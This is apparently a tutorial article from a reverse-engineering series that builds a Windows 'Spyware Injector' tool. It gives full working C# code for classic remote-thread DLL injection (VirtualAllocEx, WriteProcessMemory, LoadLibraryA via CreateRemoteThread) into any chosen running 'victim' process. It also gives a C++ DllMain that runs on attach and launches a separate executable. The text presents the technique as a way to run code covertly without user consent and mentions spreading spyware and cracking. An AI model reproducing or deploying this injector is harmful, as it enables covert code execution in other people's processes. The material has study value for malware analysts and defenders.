Introduction
We have already presented three papers on modifying binaries using the IDA Pro and OllyDbg disassemblers, where we add functionality to an executable by modifying the code directly, using code caves. Though there are suitable alternatives to this approach, in that we added functionality to the code that can be put into a separate file, a DLL file, and this code can be called when the target binary is loaded. The code residing in the DLL is usually referred to as malicious code, either when run covertly, without being noticed by the user, or the moment when the main executable is loaded into memory, it is invoked automatically. In this, we don't need to find a code cave that are empty segments in the existing executable or worrying about offsets, in order to inject or execute mischievous code. Using a DLL injection mechanism could be implemented separately in a stand-alone application, but for user convenience, we are merging this functionality into the software that the development process has been elaborated upon in this "Disassembler Mechanized” series.
DLL Injection Internals
A DLL is a Dynamically Linked Library of executable code, sometimes referred to as an API that reduces the hassle of repeatedly reproducing common functions. Such an API gives the impression of code reusability that can be utilized multiple times in a variety of scenarios. The third-party program only references the external function from the DLL and it is loaded into memory and is available for manipulation. DLL injection is a process of inserting external code into an existing running process of a machine, in which a piece of malevolent code is triggered automatically without authority or without the user's awareness. The code we usually insert is in the form of a Dynamic Link Library (DLL) during this manipulation, since DLLs are meant to be loaded as needed at run time. DLLs are very similar to .exe programs, as it has leverage with custom programming logic in form methods that are called into another application by referencing it. But it can be differentiated by the single characteristic that there is no entry-point in the DLL like a .exe file.
DLL Injection is a special tactic of injecting our own custom DLLs programmatically, into an executable that wasn't initially set up to consume it. When the victim application loads where the injection happens, before any code of the application is run, the Windows loader will load our DLL along with any others the application requires. Whatever piece of code is placed inside the DLL main function will be run spontaneously, even without the consent of the user. We can alter the application (target binary) to call our DLL whenever we want to invoke it. The injected DLL is loaded into a running process of a machine, however, such techniques have been practiced for both genuine and malevolent purposes. Some applications inject an external DLL later, to add features to a closed-source program. Apart from that, this procedure is very frequently used to spread prevalent spyware programs. DLL Injection can be exhausted to perform multiple operations, for instance cracking an application, patching a binary, unpacking a binary, key generation, and virus code writing.
Prerequisites
- VC++
- Visual Studio 2010 IDE
- Process Explorer
- IDA Pro (optional)
- Target binary
UI Design
The DLL injection features could probably be the last implementation of this software. In fact, this operation functionality is not linked to other control of this software (Injector and Disassembler) such as other Injector, Disassembler earlier. We have placed the entire necessary form controls in tabPage5 to show-off DLL injection as in the following:
The Listbox control basically enumerates all the running machine processes to ease the selection of the attaching process (victim) during DLL injection. The first text box gathers the inject DLL full path via the upload button and the second TextBox displays the selected process from the list box. The Refresh button refreshes the list box if some service is newly begun or terminated. Finally, the Inject DLL button injects the DLL into the selected process. Once all the previous form controls are placed and arranged in the tabcontrol the design looks something like the following:
Win32 DLL Development
The process of DLL injection is deemed to be a cumbersome task and typically passes through various phases. First, we need to develop the DLL. Indeed this DLL is not a normal DLL that had been created easily by a Visual Studio Class Library project. Remember the point that the normal class library contains a couple of methods that cannot fit in this scenario because we can't define the trigger point for the methods invoking the contained C# class library DLL. Such operations in fact directly conflict with the system threading process to execute the logic contained in the DLL. Suppose we have created a C# DLL that contains a method, in which a message box implementation is defined.
So, how do we determine when the message box will be invoked? Because during DLL injection, we simply inject a DLL into the currently running process, we don't actually define the event or something else, to invoke the DLL methods. Hence, we shall proceed with the following procedure to create a VC++ class library.
- Open Visual Studio 2010 | New Project | Win32 Console Application | get a solution name as DLLlib | hit the OK button.
- Hit Next | select DLL as Application type | and Empty Project | Finish.
- Go to Solution Explorer | right-click on Source Files | Add new C++ file | name it xyz.cpp
- Open the xyz.cpp file and paste the following code into it.
- #include "Windows.h";
-
- BOOL APIENTRY DllMain( HMODULE hModule,DWORD trigger,LPVOID lpReserved)
- {
- switch (trigger)
- {
- case DLL_PROCESS_ATTACH:
- MessageBox(NULL, L"Hello! I am invoked from your EXE!", L"DLL Injected",
- MB_OK);
- ShellExecute (NULL, L"open", L"D:\\EncryptCrack.exe", NULL, NULL, SW_SHOW );
-
- break;
- case DLL_THREAD_ATTACH:
-
- break;
- case DLL_THREAD_DETACH:
- break;
- case DLL_PROCESS_DETACH:
- MessageBoxA(NULL, "!!!!!DLL Ejected!!!!!!", "", MB_OK);
- break;
- }
- return TRUE;
- }
- Now build the solution using F6 (or from Build menu). If everything is entered correctly, the solution builds successfully and DLLlib.dll would be created in the Debug folder of the DLLlib project.
- We typically can't test it independently of an exe file until we reference it as another solution. Although, rundll32.exe could streamline our objective to ad-hoc test the functionality of the DLL.
The rundll32.exe would execute the DllMain method of the DLLlib.dll by showing the message box and encryptCrack.exe consequently. The DLL file typically doesn't have an entry point, so it is not possible to directly execute it, even if we implement the Message Box invoking logic. Hence, we are using here, the DllMain method as an entry point of this DLL because we intend to show a message box or execute another exe file from the DLL itself using this code.
BOOL APIENTRY DllMain( HMODULE hModule,DWORD trigger,LPVOID lpReserved){..}
The prime objective of creating such a DLL is to implement the functionality to attach a triggering point event to the victim process, in order to execute the previous message box or executable, as we stated earlier. Hence, we shall use the DLL_PROCESS_ATTACH method to imitate the message box automatically when injecting the DLL into another process. Here, we can specify a message box or another exe invoking code in the handle as well as in the
DLL_PROCESS_DETACH handle we could eject the injected DLL entry from the victim process as in the following:
- case DLL_PROCESS_ATTACH:
- MessageBox(NULL, L"Hello! I am invoked from your EXE!", L"DLL Injected",
- MB_OK);
- ShellExecute (NULL, L"open", L"D:\\EncryptCrack.exe", NULL, NULL, SW_SHOW);
-
- break;
- case DLL_THREAD_ATTACH:
- break;
- case DLL_THREAD_DETACH:
- break;
- case DLL_PROCESS_DETACH:
- MessageBoxA(NULL, "!!!!!DLL Ejected!!!!!!", "", MB_OK);
- break;
Getting Started
So, we have created the DLL in the previous section that would be injected into the victim process covertly. Here, we achieve some rudimentary operation first, for instance calculating all the running processes on the machine. For this purpose, the ShowProcess() method is employed in which all the running process are added to the List box as in the following:
- private void ShowProcess()
- {
- Process[] process = Process.GetProcesses();
-
- foreach (Process prs in process)
- {
- listProcess.Items.Add(prs.ProcessName);
- }
- }
Later, add a click SelectIndexChanged event handler for a tabcontrol and place the ShowProcess() method definition there, so that when the user switches to a specific DLL injection tab, the list box is populated with all the system processes as in the following:
- private void tabControl1_SelectedIndexChanged(object sender, EventArgs e)
- {
- ShowProcess();
- }
When the user selects a process from the List box, its reference is placed in the text box automatically as in the following:
- private void listProcess_SelectedIndexChanged(object sender, EventArgs e)
- {
- txtProcess.Text = listProcess.SelectedItem.ToString();
- }
Although the list box shall populate all the system processes, in the case of terminating an existing process or starting a new process, it is necessary to update the current running process in the list box as in the following:
- private void btnRefresh_Click(object sender, EventArgs e)
- {
- listProcess.Items.Clear();
- ShowProcess();
- }
The Upload button is responsible for opening a file open dialog, in order to select the path of the DLL file that will be injected into the process.
- private void btnDLLupload_Click(object sender, EventArgs e)
- {
- OpenFileDialog openDLL = new OpenFileDialog();
- openDLL.Filter = "Library | *.dll";
-
- if (openDLL.ShowDialog() == DialogResult.OK)
- {
- txtDLLInject.Text = openDLL.FileName;
-
- }
- }
Injecting DLL Implementation
This section showcases the real action of DLL injection in the running system process. There are multiple ways to inject a malevolent DLL into a process surreptitiously as such. Mainly, using a Windows API or Debugging API. In a Windows API, we have a couple of functions that allow us to attach and manipulate other programs for debugging purposes and to perform the DLL Injection operation. Another method of DLL injection is to use the Windows-provided API for debugging purposes. This allows us to keep the thread within the scope with which we are dealing indeed. That is, we can save the registers, save the instruction pointer (EIP), and save the state of the stack. The DLL injection process is typically broken down into the following procedure:
- Attach to the process.
- Allocate Memory within the process.
- Copy the DLL into the processes memory as well as determine appropriate memory addresses.
- Instruct the process to execute your DLL.
- Method to eject DLL from running process.
Generally, the DLL is loaded into memory using a special stub (dummy module) dropper that is practiced by malicious programs. The stubs could be anything, for instance, a Run-Once registry key, binary loader, or manipulated via Metasploit. To replicate the DLL, we must complete the equivalent of our rundll32.exe command and then the main function of the DLL can take care of the other things. Each one of the previous phases, however, can be accomplished using a couple of sophisticated programming techniques that are summarized in the following figure.
![]()
As we stated earlier, this is a very complicated task and we need to employ a couple of Windows APIs of kernal32.dll to inject a DLL into the running process. Here, we are actually trying to vacant a slot in memory manually via threading and placing the DLL over there programmatically. We will write a series of Windows API definitions. The following code shall be placed after the constructor project. We are explaining that step-by-step in the following.
CreateRemoteThread: We shall create an ad-hoc thread in the victim process to place the DLL. Hence, this method is positioning the information from the DLL, into a new thread in the target victim process as in the following:
- [DllImport("kernel32")]
- public static extern IntPtr CreateRemoteThread(
- IntPtr hProcess,
- IntPtr lpThreadAttributes,
- uint dwStackSize,
- UIntPtr lpStartAddress,
- IntPtr lpParameter,
- uint dwCreationFlags,
- out IntPtr lpThreadId
- );
OpenProcess: The OpenProcess() function obtains handle information from the process to interact with the process as well as it'll maintain certain access rights of the process.
- [DllImport("kernel32.dll")]
- public static extern IntPtr OpenProcess(
- UInt32 dwDesiredAccess,
- Int32 bInheritHandle,
- Int32 dwProcessId
- );
CloseHandle: The CloseHandle() method disconnects the connection to the process in the case an error occurrs when accessing the process.
- [DllImport("kernel32.dll")]
- public static extern Int32 CloseHandle(IntPtr hObject);
VirtualFreeEx: This method takes a specified amount of memory to vacant the slot to execute the DLL because before placing any external data to an existing process, it is necessary to free some data.
- [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
- static extern bool VirtualFreeEx(
- IntPtr hProcess,
- IntPtr lpAddress,
- UIntPtr dwSize,
- uint dwFreeType
- );
GetProcAddress: This method obtains the address of a victim process.
- [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true)]
- public static extern UIntPtr GetProcAddress(IntPtr hModule,string procName);
VirtualAllocEx: This method VirtualAllocEx() allocates adequate memory to funding a string that contains the path to the DLL. It typically allocates some memory that we will write to.
- [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
- static extern IntPtr VirtualAllocEx(
- IntPtr hProcess,
- IntPtr lpAddress,
- uint dwSize,
- uint flAllocationType,
- uint flProtect
- );
WriteProcessMemory: Now, we shall use the WriteProcessMemory() method to copy the DLL to be injected into the victim process as in the following:
- [DllImport("kernel32.dll")]
- static extern bool WriteProcessMemory(
- IntPtr hProcess,
- IntPtr lpBaseAddress,
- string lpBuffer,
- UIntPtr nSize,
- out IntPtr lpNumberOfBytesWritten
- );
GetModuleHandle: We also need the handle of kernal32.dll so it is passed in the GetModuleHandle() as an argument.
- [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
- public static extern IntPtr GetModuleHandle(string lpModuleName);
WaitForSingleObject: This method waits a specific amount of time to ensure that either the current thread is free or busy.
- [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
- internal static extern Int32 WaitForSingleObject(
- IntPtr handle,
- Int32 milliseconds
- );
GetProcessId: It is necessary to get the victim process id or name on behalf of DLL injection so that further operation can carry on.
- public Int32 GetProcessId(String proc)
- {
- Process[] ProcList;
- ProcList = Process.GetProcessesByName(proc);
- return ProcList[0].Id;
- }
So, we are finished with the definition of all the essential Windows API so far. Now, we shall write the code in the DLLinjection() method one by one that is the main method that does the DLL injection into the remote process and of course having the victim process and DLL name as an argument.
Hence, first, we shall calculate the DLL length to allocate the slot in memory using the VirutalAllocEx() method and then copy the target DLL into the allocated space using the WriteProcessMemory() method. We, therefore, get the handle of kernal32.dll to interact with the victim process and place it in the CreateRemoteThread() that creates an ad-hoc thread for the DLL. We later encounter the rest of the API where we are confirming whether the thread is busy or idle or finally freeing the virtual allocated slot from the memory of the VirtualFreeEx() method.
- public void DLLinjection(IntPtr hProc, String DLLName) {
- IntPtr bytesout;
- Int32 LenWrite = DLLName.Length + 1;
- IntPtr Alloc_Memory = (IntPtr) VirtualAllocEx(hProc, (IntPtr) null, (uint) LenWrite,
- 0x1000, 0x40);
-
- WriteProcessMemory(hProc, Alloc_Memory, DLLName, (UIntPtr) LenWrite, out bytesout);
- UIntPtr Injector = (UIntPtr) GetProcAddress(GetModuleHandle("kernel32.dll"),
- "LoadLibraryA");
-
- if (Injector == null) {
- MessageBox.Show("Injector Error! \n ");
- return;
- }
-
- IntPtr hThread = (IntPtr) CreateRemoteThread(hProc, (IntPtr) null, 0, Injector,
- Alloc_Memory, 0, out bytesout);
- if (hThread == null) {
- MessageBox.Show(" Thread handle Error! \n ");
- return;
- }
- int Result = WaitForSingleObject(hThread, 10 * 1000);
- if (Result == 0x00000080 L || Result == 0x00000102 L || Result == 0x10000) {
- MessageBox.Show(" Thread timeout Error! \n ");
- if (hThread != null) {
- CloseHandle(hThread);
- }
- return;
- }
- Thread.Sleep(1000);
- VirtualFreeEx(hProc, Alloc_Memory, (UIntPtr) 0, 0x8000);
- if (hThread != null) {
- CloseHandle(hThread);
- }
- return;
- }
Then, it is time to call this method in the Inject DLL button where we first gather the information about the selected process and DLL path then get the ID of the running victim process. First, it is checking whether or not the process is running and then tries to open that process. If the code finds the essential details of the process and DLL, then the DLLinjection() method is called followed by a method that contains the definition of the status of operations.
- private void btnInjectDLL_Click(object sender, EventArgs e)
- {
- String dllName = txtDLLInject.Text;
- String Process_Name = txtProcess.Text;
- if (dllName != "" && Process_Name != "")
- {
- Int32 ProcID = GetProcessId(Process_Name);
- if (ProcID >= 0)
- {
- IntPtr h_Process = (IntPtr)OpenProcess(0x1F0FFF, 1, ProcID);
- if (h_Process == null)
- {
- lblSt3.Text = " Failed to Open Process";
- return;
- }
- else
- {
- DLLinjection(h_Process, dllName);
- operationStatus(ProcID, Process_Name, dllName);
- }
- }
- }
- else
- {
- MessageBox.Show("Select Process to Inject");
- return;
- }
- }
The operationStatus() method typically contains some label controls that show the information about the injected DLL, victim process, and finally whether the DLL injection is successful or not.
- private void operationStatus(Int32 id, string pn,string dn)
- {
- lblSt1.Text = "Injecting [" + dn + "] into [" + pn + "]....";
- lblSt2.Text = "Opening [" + pn + "] with [" + id + "] id :";
- lblSt3.Text = " Success";
- }
So, we are done with the coding of the DLL injection, now compile the solution using F9 and run the executable.
Testing
Open the Spyware Injector and Decompiler software after compiling it successfully and go to the DLL injection tab. Here, we found all the running machine processes in the List box control. The moment we select any, for example, Notepad, it is placed in the corresponding Process TextBox and becomes the victim process. Finally, after hitting the Inject DLL button, DLLlib.dll is injected into the Notepad process as in the following:
After hitting the OK button in the message, another spyware program, EncryptCrack.exe, is begun and the moment we close or terminate Notepad, we shall find the message box about DLL ejection.
Final Note
This paper accompanied by DLL injection that is a very sophisticated method implementation in itself because we don't have either the source code of the victim process or empty slots in memory to put the injected DLL such as codecaves. We have creates the virtual memory locations, opened the process, and copied the DLL using the Windows API of kernal32.dll as well as learned how to create the special inject DLL that has the DllMain function as an entry point. Finally, we demonstrated how to inject a DLL into a running process of the machine as well as activate another process of which the definition was also coded in the DLL file. In the next articles, we shall do a comprehensive post-mortem analysis of all the features of this software.
Reference
It is necessary to go through all the Disassembler Mechanized series of articles.
http://resources.infosecinstitute.com/disassem-mech-part-1-coding-disassembler/